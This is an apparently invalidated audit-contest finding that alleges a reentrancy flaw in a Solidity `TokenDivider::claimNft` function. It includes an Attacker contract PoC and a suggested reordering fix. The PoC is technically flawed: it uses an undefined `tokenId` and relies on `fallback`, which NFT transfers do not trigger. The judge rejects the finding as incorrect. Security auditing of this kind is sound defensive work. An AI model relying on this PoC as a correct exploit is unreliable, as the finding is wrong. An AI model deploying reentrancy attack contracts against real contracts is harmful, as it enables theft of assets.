Pieces Protocol

First Flight #32
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Invalid

Reentrancy attack in `TokenDivider::ClaimNft` allows entrant to drain NFT balance

**DESCRIPTION**
The `TokenDivider::ClaimNft` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to claim the whole NFT balance.
**IMPACT**
All NFT available in the contract can be stolen by a participant
**Proof of Concept:**
The Attacker contract calls the `TokenDivider::ClaimNft` function of the `TokenDivider` contract. The fallback function is triggered in `TokenDivider::ClaimNft` sends the NFT to the attacker contract. If the attacker contract still owns the NFT, it re-enters the `TokenDivider::ClaimNft` function, allowing it to claim the NFT multiple times before the state variables are updated thereby draining the contract.
details>
<summary>PoC Code</summary>
Below is a simplified example of an attacker contract that exploits the vulnerability:
```js
contract Attacker {
TokenDivider public tokenDivider;
address public nftAddress;
constructor(address _tokenDivider, address _nftAddress) {
tokenDivider = TokenDivider(_tokenDivider);
nftAddress = _nftAddress;
}
function attack() external {
// Call claimNft to start the attack
tokenDivider.claimNft(nftAddress);
}
// Fallback function to re-enter the claimNft function
fallback() external payable {
if (IERC721(nftAddress).ownerOf(tokenId) == address(this)) {
// Re-enter the claimNft function
tokenDivider.claimNft(nftAddress);
}
}
}
**Recommendation**
To mitigate this, you should update the state variables before transferring the NFT. The `TokenDivider::ClaimNft` could be exploited using a re-entrancy attack.
```diff
function claimNft(address nftAddress) external {
if (nftAddress == address(0)) {
revert TokenDivider__NftAddressIsZero();
}
ERC20Info storage tokenInfo = nftToErc20Info[nftAddress];
if (balances[msg.sender][tokenInfo.erc20Address] < erc20ToMintedAmount[tokenInfo.erc20Address]) {
revert TokenDivider__NotEnoughErc20Balance();
}
// Burn the ERC20 tokens from the caller
ERC20ToGenerateNftFraccion(tokenInfo.erc20Address).burnFrom(msg.sender, erc20ToMintedAmount[tokenInfo.erc20Address]);
// Update state variables before transferring the NFT
balances[msg.sender][tokenInfo.erc20Address] = 0;
erc20ToMintedAmount[tokenInfo.erc20Address] = 0;
emit NftClaimed(nftAddress);
// Transfer the NFT to the caller
IERC721(nftAddress).safeTransferFrom(address(this), msg.sender, tokenInfo.tokenId);
}
```

Updates

Lead Judging Commences

fishy Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy

Appeal created

fishy Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.